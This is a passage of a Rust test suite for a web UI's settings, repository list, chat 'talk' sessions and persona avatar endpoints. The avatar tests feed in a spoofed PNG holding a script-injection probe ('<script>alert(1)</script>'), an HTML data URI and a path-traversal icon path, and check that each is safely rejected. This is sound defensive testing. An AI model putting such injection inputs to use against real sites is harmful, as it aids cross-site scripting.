9309 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
9310 counts: Default::default(),
9311 }))
9312 };
9313 assert_eq!(
9314 settings_put_roles(State(ui.clone()), unknown(), body())
9315 .await
9316 .unwrap_err()
9317 .status,
9318 StatusCode::UNPROCESSABLE_ENTITY
9319 );
9320 assert_eq!(std::fs::read(&machine).unwrap(), before);
9321 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
9322 .await
9323 .unwrap();
9324 assert_eq!(
9325 saved.repo,
9326 selected.canonicalize().unwrap().display().to_string()
9327 );
9328 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
9329 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
9330 let fresh = root.join("host/owner/fresh");
9332 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
9333 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
9334 .await
9335 .unwrap();
9336 assert_eq!(fresh_view.repositories.len(), 3);
9337 }
9338
9339 #[tokio::test]
9340 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
9341 let (tmp, repo, machine) = settings_dirs(
9342 "[roles]\nreviewers = [\"a\"]\n",
9343 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
9344 );
9345 let root = tmp.path().join("roots");
9346 let selected = root.join("host/owner/selected");
9347 settings_checkout(
9348 &selected,
9349 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
9350 )
9351 .await;
9352 let broken = root.join("host/owner/broken");
9353 settings_checkout(&broken, "[roles\nbroken").await;
9354 let machine_text = format!(
9355 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
9356 toml::Value::String(root.display().to_string())
9357 );
9358 std::fs::write(&machine, &machine_text).unwrap();
9359 let originals: Vec<_> = [&repo, &selected, &broken]
9360 .iter()
9361 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
9362 .collect();
9363 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9364 let default = f.get("/api/settings").await.json();
9365 assert_eq!(
9366 default["repo"],
9367 repo.canonicalize().unwrap().display().to_string()
9368 );
9369 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
9370 let query = format!("?repo={}", selected.display());
9371 let res = f.get(&format!("/api/settings{query}")).await;
9372 assert_eq!(res.status, 200, "{}", res.body);
9373 let v = res.json();
9374 assert!(v["error"].is_null(), "{v}");
9375 assert_eq!(v["repositories"], default["repositories"]);
9376 let role = |key: &str| {
9377 v["roles"]
9378 .as_array()
9379 .unwrap()
9380 .iter()
9381 .find(|r| r["key"] == key)
9382 .unwrap()
9383 };
9384 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
9385 assert_eq!(role("advisors")["source"], "repo");
9386 assert_eq!(role("advisors")["editable"], false);
9387 assert!(role("advisors")["machine_value"].is_null());
9388 assert_eq!(role("judges")["count"]["value"], 2);
9389 assert_eq!(role("judges")["count"]["machine_value"], 1);
9390 assert_eq!(role("judges")["count"]["source"], "repo");
9391 let source = role("judges")["count"]["source_path"].as_str().unwrap();
9392 assert!(
9393 source.contains("origin/main") && !source.contains("magi/config/"),
9394 "{source}"
9395 );
9396 assert_eq!(
9397 role("reviewers")["editable"],
9398 false,
9399 "default context outside roots must protect its declarations"
9400 );
9401 let body =
9402 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
9403 let unknown = format!("?repo={}", tmp.path().display());
9404 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
9405 assert_eq!(
9406 f.put(&format!("/api/settings/roles{unknown}"), &body)
9407 .await
9408 .status,
9409 422
9410 );
9411 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
9412 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
9413 .to_string();
9414 assert_eq!(
9415 f.put(&format!("/api/settings/roles{query}"), &refuse)
9416 .await
9417 .status,
9418 422
9419 );
9420 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
9421 assert_eq!(saved.status, 200, "{}", saved.body);
9422 assert_eq!(saved.json()["repo"], v["repo"]);
9423 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
9424 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
9425 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
9426 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
9427 }
9428 let error = f
9429 .get(&format!("/api/settings?repo={}", broken.display()))
9430 .await;
9431 assert_eq!(error.status, 200);
9432 assert!(error.json()["error"]["message"].is_string());
9433 assert_eq!(error.json()["repositories"], default["repositories"]);
9434 }
9435
9436 #[tokio::test]
9437 async fn settings_get_reports_sources_and_the_advisors_fallback() {
9438 let (_tmp, repo, machine) =
9439 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
9440 let f = Fixture::with_repo_and_machine(repo, machine).await;
9441 let res = f.get("/api/settings").await;
9442 assert_eq!(res.status, 200, "{}", res.body);
9443 let v = res.json();
9444 assert!(v["error"].is_null(), "{v}");
9445 let role = |k: &str| {
9446 v["roles"]
9447 .as_array()
9448 .and_then(|r| r.iter().find(|x| x["key"] == k))
9449 .cloned()
9450 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9451 };
9452 assert_eq!(role("judges")["source"], "machine");
9453 assert_eq!(role("judges")["editable"], true);
9454 assert_eq!(role("implementers")["source"], "default");
9455 let adv = role("advisors");
9456 assert_eq!(adv["fallback"], "judges");
9457 assert!(
9458 adv["seats"]
9459 .as_array()
9460 .is_some_and(|s| s.iter().all(|x| x == "b")),
9461 "{adv}"
9462 );
9463 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
9464 assert_eq!(v["agents"][0]["source"], "repo");
9465 }
9466
9467 #[tokio::test]
9468 async fn settings_get_reports_a_config_that_does_not_parse() {
9469 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
9470 let f = Fixture::with_repo_and_machine(repo, machine).await;
9471 let res = f.get("/api/settings").await;
9472 assert_eq!(res.status, 200, "{}", res.body);
9473 let v = res.json();
9474 assert!(v["error"]["message"].is_string(), "{v}");
9475 assert!(
9476 v["error"]["path"]
9477 .as_str()
9478 .is_some_and(|p| p.ends_with("magi.toml")),
9479 "{v}"
9480 );
9481 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
9482 }
9483
9484 #[tokio::test]
9485 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
9486 let (_tmp, repo, machine) = settings_dirs(
9487 SETTINGS_AGENTS,
9488 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
9489 );
9490 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
9491 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9492 let rev = f.get("/api/settings").await.json()["revision"]
9493 .as_str()
9494 .expect("revision")
9495 .to_owned();
9496 let body = serde_json::json!({
9497 "revision": rev,
9498 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
9499 })
9500 .to_string();
9501 let res = f.put("/api/settings/roles", &body).await;
9502 assert_eq!(res.status, 200, "{}", res.body);
9503 let text = std::fs::read_to_string(&machine).expect("machine");
9504 assert_eq!(
9505 text,
9506 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
9507 );
9508 assert_eq!(
9509 std::fs::read(repo.join("magi.toml")).expect("read"),
9510 repo_before
9511 );
9512 let again = f.get("/api/settings").await.json();
9513 let judges = again["roles"]
9514 .as_array()
9515 .expect("roles")
9516 .iter()
9517 .find(|r| r["key"] == "judges")
9518 .expect("judges")
9519 .clone();
9520 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
9521 let stale = f.put("/api/settings/roles", &body).await;
9523 assert_eq!(stale.status, 409, "{}", stale.body);
9524 }
9525
9526 #[tokio::test]
9527 async fn settings_counts_are_reported_and_saved() {
9528 let (_tmp, repo, machine) = settings_dirs(
9529 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
9530 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
9531 );
9532 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9533 let v = f.get("/api/settings").await.json();
9534 let count = |v: &serde_json::Value, k: &str| {
9535 v["roles"]
9536 .as_array()
9537 .and_then(|r| r.iter().find(|x| x["key"] == k))
9538 .map(|x| x["count"].clone())
9539 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9540 };
9541 let imp = count(&v, "implementers");
9542 assert_eq!(imp["value"], 2);
9543 assert_eq!(imp["source"], "machine");
9544 assert_eq!(imp["file_key"], "candidates");
9545 assert_eq!(imp["roster_len"], 2);
9546 assert_eq!(imp["backups"], 0);
9547 assert_eq!(count(&v, "judges")["source"], "default");
9548 assert_eq!(count(&v, "advisors")["min"], 0);
9549 assert_eq!(count(&v, "reviewers")["editable"], false);
9550 assert!(
9551 count(&v, "reviewers")["locked_reason"]
9552 .as_str()
9553 .is_some_and(|m| m.contains("graph.reviewers"))
9554 );
9555 assert!(count(&v, "fixer").is_null());
9556 let rev = v["revision"].as_str().expect("revision").to_owned();
9557 let body = serde_json::json!({
9558 "revision": rev,
9559 "roles": { "judges": ["b"] },
9560 "counts": { "implementers": 1, "advisors": 0 }
9561 })
9562 .to_string();
9563 let res = f.put("/api/settings/roles", &body).await;
9564 assert_eq!(res.status, 200, "{}", res.body);
9565 let text = std::fs::read_to_string(&machine).expect("machine");
9566 assert_eq!(
9567 text,
9568 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9569 );
9570 let after = f.get("/api/settings").await.json();
9571 assert_eq!(count(&after, "implementers")["value"], 1);
9572 assert_eq!(count(&after, "implementers")["backups"], 1);
9573 assert_eq!(count(&after, "advisors")["value"], 0);
9574 let before = std::fs::read_to_string(&machine).expect("machine");
9575 let rev = after["revision"].as_str().expect("revision").to_owned();
9576 for counts in [
9577 serde_json::json!({ "judges": 0 }),
9578 serde_json::json!({ "judges": "x" }),
9579 serde_json::json!({ "judges": 2.5 }),
9580 serde_json::json!({ "judges": -1 }),
9581 serde_json::json!({ "reviewers": 3 }),
9582 serde_json::json!({ "bogus": 3 }),
9583 ] {
9584 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9585 let res = f.put("/api/settings/roles", &body).await;
9586 assert_eq!(res.status, 422, "{counts}: {}", res.body);
9587 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9588 }
9589 }
9590
9591 #[tokio::test]
9592 async fn settings_put_refuses_without_touching_the_file() {
9593 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
9594 let (_tmp, repo, machine) = settings_dirs(
9595 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
9596 Some(machine_text),
9597 );
9598 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9599 let rev = f.get("/api/settings").await.json()["revision"]
9600 .as_str()
9601 .expect("revision")
9602 .to_owned();
9603 for roles in [
9604 serde_json::json!({ "judges": ["nope"] }),
9605 serde_json::json!({ "reviewers": ["b"] }),
9606 serde_json::json!({ "bogus": ["a"] }),
9607 ] {
9608 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
9609 let res = f.put("/api/settings/roles", &body).await;
9610 assert_eq!(res.status, 422, "{roles}: {}", res.body);
9611 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
9612 assert_eq!(
9613 std::fs::read_to_string(&machine).expect("machine"),
9614 machine_text
9615 );
9616 }
9617 }
9618
9619 #[tokio::test]
9620 async fn repos_list_returns_name_and_path_for_every_configured_root() {
9621 let tmp = TempDir::new().expect("tempdir");
9622 let repo = tmp.path().join("repo");
9623 std::fs::create_dir_all(&repo).expect("repo dir");
9624 let root = tmp.path().join("root");
9625 make_checkout(&root, "github.com", "yukimemi", "magi");
9626 std::fs::write(
9627 repo.join("magi.toml"),
9628 format!(
9629 "[repos]\nroots = [{:?}]\n",
9630 root.to_string_lossy().into_owned()
9631 ),
9632 )
9633 .expect("write magi.toml");
9634
9635 let f = Fixture::with_repo(repo).await;
9636 let res = f.get("/api/repos").await;
9637 assert_eq!(res.status, 200, "{}", res.body);
9638 let list = res.json();
9639 let repos = list.as_array().expect("an array");
9640 assert_eq!(repos.len(), 1);
9641 assert_eq!(repos[0]["name"], "yukimemi/magi");
9642 assert!(
9643 repos[0]["path"]
9644 .as_str()
9645 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
9646 "{list}"
9647 );
9648 }
9649
9650 #[tokio::test]
9651 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
9652 let tmp = TempDir::new().expect("tempdir");
9653 let repo = tmp.path().join("repo");
9654 std::fs::create_dir_all(&repo).expect("repo dir");
9655 let root = tmp.path().join("root");
9656 make_checkout(&root, "github.com", "yukimemi", "magi");
9657 std::fs::write(
9658 repo.join("magi.toml"),
9659 format!(
9660 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
9661 root.to_string_lossy().into_owned()
9662 ),
9663 )
9664 .expect("write magi.toml");
9665
9666 let f = Fixture::with_repo(repo).await;
9667 let first = f.get("/api/repos").await;
9668 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
9669
9670 make_checkout(&root, "github.com", "yukimemi", "rvpm");
9673 let second = f.get("/api/repos").await;
9674 assert_eq!(
9675 second.json().as_array().map(Vec::len),
9676 Some(1),
9677 "a fresh cache must not rescan inside the TTL"
9678 );
9679
9680 let refreshed = f.get("/api/repos?refresh=1").await;
9681 assert_eq!(
9682 refreshed.json().as_array().map(Vec::len),
9683 Some(2),
9684 "an explicit refresh must rescan even inside the TTL"
9685 );
9686 }
9687
9688 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
9694
9695 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
9699 let tmp = TempDir::new().expect("tempdir");
9700 let repo = tmp.path().join("repo");
9701 std::fs::create_dir_all(&repo).expect("repo dir");
9702 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9703 let f = Fixture::with_repo(repo.clone()).await;
9704 (tmp, repo, f)
9705 }
9706
9707 #[tokio::test]
9708 async fn posting_a_talk_with_remembered_choices_is_soft() {
9709 let (_tmp, _repo, f) = talk_fixture().await;
9710
9711 let good = f
9712 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
9713 .await;
9714 assert_eq!(good.status, 201, "{}", good.body);
9715 assert_eq!(good.json()["persona"], "rei");
9716
9717 let stale = f
9719 .post(
9720 "/api/talks",
9721 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
9722 )
9723 .await;
9724 assert_eq!(stale.status, 201, "{}", stale.body);
9725 let v = stale.json();
9726 assert_eq!(v["implementers"], 1);
9727 assert_ne!(v["persona"], "nobody");
9728 let typed = f
9729 .post(
9730 "/api/talks",
9731 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
9732 )
9733 .await;
9734 assert_eq!(typed.status, 201, "{}", typed.body);
9735
9736 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
9738 assert!(
9739 !strict.status.to_string().starts_with('2'),
9740 "{}",
9741 strict.body
9742 );
9743 }
9744
9745 #[tokio::test]
9746 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
9747 let (_tmp, _repo, f) = talk_fixture().await;
9748
9749 let opened = f.post("/api/talks", None).await;
9752 assert_eq!(opened.status, 201, "{}", opened.body);
9753 let body = opened.json();
9754 assert_eq!(body["status"], "open");
9755 assert_eq!(
9756 body["turns"].as_array().unwrap().len(),
9757 0,
9758 "opening takes no agent turn: there is nothing yet to answer"
9759 );
9760
9761 let also_opened = f.post("/api/talks", Some("{}")).await;
9763 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
9764
9765 let listed = f.get("/api/talks").await.json();
9766 assert_eq!(listed.as_array().unwrap().len(), 2);
9767 }
9768
9769 #[tokio::test]
9770 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
9771 let tmp = TempDir::new().expect("tempdir");
9772 let repo = tmp.path().join("repo");
9773 std::fs::create_dir_all(&repo).expect("repo dir");
9774 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
9775 std::fs::write(
9776 repo.join("magi.toml"),
9777 format!("{MOCK_AGENT_TOML}\n{second}"),
9778 )
9779 .expect("write magi.toml");
9780 let home = TempDir::new().expect("temp home");
9781 let talks = Talks::at(home.path().join("talks"));
9782 let ui = Arc::new(
9783 Ui::new(
9784 Queue::at(home.path().join("queue")),
9785 Questions::at(home.path().join("questions")),
9786 talks.clone(),
9787 home.path().join("runs"),
9788 home.path().to_path_buf(),
9789 repo.clone(),
9790 )
9791 .with_worktrees_root(home.path().join("wt")),
9792 );
9793 let cfg = config_for(&repo).await.expect("discover config");
9794 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9795 let id = talk.id.clone();
9796 let call = |agent: &str| {
9797 talk_agent(
9798 State(Arc::clone(&ui)),
9799 Path(id.clone()),
9800 Json(TalkAgent {
9801 agent: agent.to_owned(),
9802 }),
9803 )
9804 };
9805
9806 let unknown = call("nobody").await.expect_err("unknown agent");
9807 assert_eq!(
9808 unknown.status,
9809 StatusCode::BAD_REQUEST,
9810 "{}",
9811 unknown.message
9812 );
9813
9814 {
9815 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9818 let busy = call("second").await.expect_err("busy talk");
9819 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9820 assert!(
9821 busy.message.contains("a talk turn is running"),
9822 "{}",
9823 busy.message
9824 );
9825 drop(guard);
9826 }
9827 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9828
9829 let Json(view) = call("second").await.expect("switch");
9830 assert_eq!(view.talk.agent, "second");
9831 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9832 let saved = talks.get(&id).expect("reload");
9833 assert_eq!(saved.agent, "second");
9834 assert_eq!(saved.turns.len(), 1);
9835
9836 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9837 .await
9838 .expect("detail");
9839 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9840 assert_eq!(roster, ["mock", "second"]);
9841
9842 let mut closed = talks.get(&id).expect("reload");
9843 talk::close(&mut closed, &talks).expect("close");
9844 let refused = call("mock").await.expect_err("closed talk");
9845 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9846 assert!(
9847 refused.message.contains("takes no more turns"),
9848 "{}",
9849 refused.message
9850 );
9851 }
9852
9853 #[tokio::test]
9854 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
9855 let tmp = TempDir::new().expect("tempdir");
9856 let repo = tmp.path().join("repo");
9857 std::fs::create_dir_all(&repo).expect("repo dir");
9858 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9859 let home = TempDir::new().expect("temp home");
9860 let talks = Talks::at(home.path().join("talks"));
9861 let ui = Arc::new(
9862 Ui::new(
9863 Queue::at(home.path().join("queue")),
9864 Questions::at(home.path().join("questions")),
9865 talks.clone(),
9866 home.path().join("runs"),
9867 home.path().to_path_buf(),
9868 repo.clone(),
9869 )
9870 .with_worktrees_root(home.path().join("wt")),
9871 );
9872 let cfg = config_for(&repo).await.expect("discover config");
9873 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9874 let id = talk.id.clone();
9875 let call = |n: u8| {
9876 talk_implementers(
9877 State(Arc::clone(&ui)),
9878 Path(id.clone()),
9879 Json(TalkImplementers { implementers: n }),
9880 )
9881 };
9882
9883 for bad in [0u8, 4] {
9884 let e = call(bad).await.expect_err("out of range");
9885 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
9886 }
9887 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
9888
9889 {
9890 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
9893 let busy = call(2).await.expect_err("busy talk");
9894 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9895 assert!(
9896 busy.message.contains("a talk turn is running"),
9897 "{}",
9898 busy.message
9899 );
9900 drop(guard);
9901 }
9902
9903 let Json(view) = call(3).await.expect("switch");
9904 assert_eq!(view.talk.implementers, 3);
9905 assert!(talks.get(&id).expect("reload").implementers_dirty);
9906
9907 let mut closed = talks.get(&id).expect("reload");
9908 talk::close(&mut closed, &talks).expect("close");
9909 let e = call(2).await.expect_err("closed talk");
9910 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
9911 assert!(e.message.contains("takes no more turns"), "{}", e.message);
9912 }
9913
9914 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
9916 let tmp = TempDir::new().expect("tempdir");
9917 let repo = tmp.path().join("repo");
9918 std::fs::create_dir_all(&repo).expect("repo dir");
9919 std::fs::write(
9920 repo.join("magi.toml"),
9921 format!("{MOCK_AGENT_TOML}\n{extra}"),
9922 )
9923 .expect("write magi.toml");
9924 let home = TempDir::new().expect("temp home");
9925 let talks = Talks::at(home.path().join("talks"));
9926 let ui = Arc::new(
9927 Ui::new(
9928 Queue::at(home.path().join("queue")),
9929 Questions::at(home.path().join("questions")),
9930 talks.clone(),
9931 home.path().join("runs"),
9932 home.path().to_path_buf(),
9933 repo.clone(),
9934 )
9935 .with_worktrees_root(home.path().join("wt")),
9936 );
9937 let cfg = config_for(&repo).await.expect("discover config");
9938 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9939 (tmp, home, ui, talk.id, repo)
9940 }
9941
9942 async fn avatar(
9944 ui: &Arc<Ui>,
9945 id: &str,
9946 persona: Option<&str>,
9947 builtin: bool,
9948 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
9949 let res = talk_avatar(
9950 State(Arc::clone(ui)),
9951 Path(id.to_owned()),
9952 Query(AvatarQuery {
9953 persona: persona.map(str::to_owned),
9954 builtin: builtin.then(|| "1".to_owned()),
9955 }),
9956 )
9957 .await
9958 .expect("an avatar is never an error response");
9959 let h = res.headers();
9960 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
9961 let nosniff = h
9962 .get(header::X_CONTENT_TYPE_OPTIONS)
9963 .is_some_and(|v| v == "nosniff");
9964 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
9965 let status = res.status();
9966 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
9967 .await
9968 .expect("body")
9969 .to_vec();
9970 (status, ct, nosniff, csp, body)
9971 }
9972
9973 fn tiny_png() -> Vec<u8> {
9974 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
9975 b.extend_from_slice(&[0u8; 32]);
9976 b
9977 }
9978
9979 #[tokio::test]
9980 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
9981 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
9982 for p in [
9983 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
9984 ] {
9985 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
9986 assert_eq!(status, StatusCode::OK, "{p}");
9987 assert_eq!(ct, "image/svg+xml", "{p}");
9988 assert!(nosniff && csp, "{p}");
9989 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
9990 }
9991 let own = avatar(&ui, &id, None, false).await;
9993 let default = avatar(&ui, &id, Some("default"), false).await;
9994 assert_eq!(own.4, default.4);
9995 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
9996 assert_eq!(unknown.1, "image/svg+xml");
9997 }
9998
9999 #[tokio::test]
10000 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
10001 let dir = TempDir::new().expect("icons");
10002 let good = dir.path().join("good.png");
10003 std::fs::write(&good, tiny_png()).unwrap();
10004 let spoof = dir.path().join("spoof.png");
10005 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
10006 let big = dir.path().join("big.png");
10007 let mut bytes = tiny_png();
10008 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
10009 std::fs::write(&big, bytes).unwrap();
10010 let missing = dir.path().join("missing.png");
10011 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
10012 let extra = format!(
10013 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
10014 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
10015 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
10016 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
10017 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
10018 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
10019 uri(&good),
10020 uri(&spoof),
10021 uri(&big),
10022 uri(&missing),
10023 );
10024 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10025
10026 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
10027 assert_eq!(
10028 (status, ct.as_str(), nosniff),
10029 (StatusCode::OK, "image/png", true)
10030 );
10031 assert_eq!(body, tiny_png());
10032 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
10033 assert_eq!(ct, "image/png", "data URI");
10034
10035 for p in ["misato", "asuka", "shinji", "magi"] {
10036 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
10037 assert_eq!(
10038 (status, ct.as_str(), csp),
10039 (StatusCode::OK, "image/svg+xml", true),
10040 "{p}"
10041 );
10042 assert!(body.starts_with(b"<svg"), "{p}");
10043 }
10044 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
10046 assert_eq!(ct, "image/svg+xml");
10047 }
10048
10049 #[tokio::test]
10050 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
10051 let oversized = format!(
10052 "data:image/png;base64,{}",
10053 "A".repeat(persona_icon::ICON_MAX_BYTES)
10054 );
10055 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
10056 let extra = format!(
10057 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
10058 );
10059 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10060 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10061 .await
10062 .expect("detail with invalid icon");
10063 assert!(detail.personas.iter().any(|p| p.id == "custom"));
10064 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
10065 assert_eq!(status, StatusCode::OK);
10066 assert_eq!(ct, "image/svg+xml");
10067 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
10068 let Json(view) = talk_persona(
10069 State(Arc::clone(&ui)),
10070 Path(id.clone()),
10071 Json(TalkPersona {
10072 persona: "custom".into(),
10073 }),
10074 )
10075 .await
10076 .expect("persona switch with invalid icon");
10077 assert_eq!(view.talk.persona, "custom");
10078 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
10079 }
10080 }
10081
10082 #[tokio::test]
10083 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
10084 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10085 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
10086 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
10087 assert_eq!(
10088 (status, ct.as_str(), nosniff, csp),
10089 (StatusCode::OK, "image/svg+xml", true, true)
10090 );
10091 }
10092
10093 #[tokio::test]
10094 async fn the_talk_view_carries_server_built_avatar_urls_only() {
10095 let (_t, _h, ui, id, _repo) =
10096 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
10097 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10098 .await
10099 .expect("detail");
10100 let json = serde_json::to_string(&detail).unwrap();
10101 assert!(
10102 !json.contains("secret"),
10103 "the icon setting must not leak: {json}"
10104 );
10105 assert!(
10106 detail
10107 .view
10108 .persona_avatar
10109 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
10110 );
10111 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
10112 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
10113 assert!(rei.avatar.contains("persona=rei&v="));
10114 assert_ne!(
10115 rei.avatar.split("&v=").nth(1),
10116 plain.avatar.split("&v=").nth(1)
10117 );
10118 }
10119
10120 #[tokio::test]
10121 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
10122 let tmp = TempDir::new().expect("tempdir");
10123 let repo = tmp.path().join("repo");
10124 std::fs::create_dir_all(&repo).expect("repo dir");
10125 std::fs::write(
10126 repo.join("magi.toml"),
10127 format!(
10128 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
10129 ),
10130 )
10131 .expect("write magi.toml");
10132 let home = TempDir::new().expect("temp home");
10133 let talks = Talks::at(home.path().join("talks"));
10134 let ui = Arc::new(
10135 Ui::new(
10136 Queue::at(home.path().join("queue")),
10137 Questions::at(home.path().join("questions")),
